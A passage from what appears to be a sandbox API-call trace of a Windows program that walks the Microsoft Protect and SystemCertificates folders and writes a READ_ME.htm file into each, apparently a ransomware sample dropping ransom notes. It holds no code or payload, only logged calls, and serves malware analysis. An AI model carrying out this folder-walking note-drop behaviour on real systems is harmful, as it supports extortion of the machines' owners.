lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\READ_ME.htm", lpFilePart=0x0) returned 0x3e [0143.605] SetErrorMode (uMode=0x1) returned 0x0 [0143.605] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.606] SetErrorMode (uMode=0x0) returned 0x1 [0143.606] GetFileType (hFile=0x1d0) returned 0x1 [0143.606] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a00980*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2a00980*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0143.608] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3d [0143.608] SetErrorMode (uMode=0x1) returned 0x0 [0143.608] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.608] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.608] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1 [0143.608] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0 [0143.609] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.609] SetErrorMode (uMode=0x0) returned 0x1 [0143.609] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3d [0143.609] SetErrorMode (uMode=0x1) returned 0x0 [0143.609] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.609] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.609] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1 [0143.609] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0 [0143.609] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.610] SetErrorMode (uMode=0x0) returned 0x1 [0143.610] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x40 [0143.610] SetErrorMode (uMode=0x1) returned 0x0 [0143.610] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0143.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1 [0143.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1 [0143.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 0 [0143.612] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.612] SetErrorMode (uMode=0x0) returned 0x1 [0143.612] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x40 [0143.612] SetErrorMode (uMode=0x1) returned 0x0 [0143.612] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0143.613] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1 [0143.613] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1 [0143.613] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 0 [0143.613] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.613] SetErrorMode (uMode=0x0) returned 0x1 [0143.613] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4d [0143.613] SetErrorMode (uMode=0x1) returned 0x0 [0143.613] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.614] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.614] SetErrorMode (uMode=0x0) returned 0x1 [0143.615] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4d [0143.615] SetErrorMode (uMode=0x1) returned 0x0 [0143.615] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.615] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.615] SetErrorMode (uMode=0x0) returned 0x1 [0143.616] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\READ_ME.htm", lpFilePart=0x0) returned 0x59 [0143.616] SetErrorMode (uMode=0x1) returned 0x0 [0143.616] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.616] SetErrorMode (uMode=0x0) returned 0x1 [0143.616] GetFileType (hFile=0x1d0) returned 0x1 [0143.616] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0a598*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2a0a598*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0143.619] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x45 [0143.619] SetErrorMode (uMode=0x1) returned 0x0 [0143.619] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.619] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.620] SetErrorMode (uMode=0x0) returned 0x1 [0143.620] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x45 [0143.620] SetErrorMode (uMode=0x1) returned 0x0 [0143.620] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.620] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.620] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.620] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.620] SetErrorMode (uMode=0x0) returned 0x1 [0143.621] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0143.621] SetErrorMode (uMode=0x1) returned 0x0 [0143.621] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.621] SetErrorMode (uMode=0x0) returned 0x1 [0143.621] GetFileType (hFile=0x1d0) returned 0x1 [0143.621] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a10490*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2a10490*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0143.623] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x45 [0143.623] SetErrorMode (uMode=0x1) returned 0x0 [0143.623] FindFirstFileW (in: 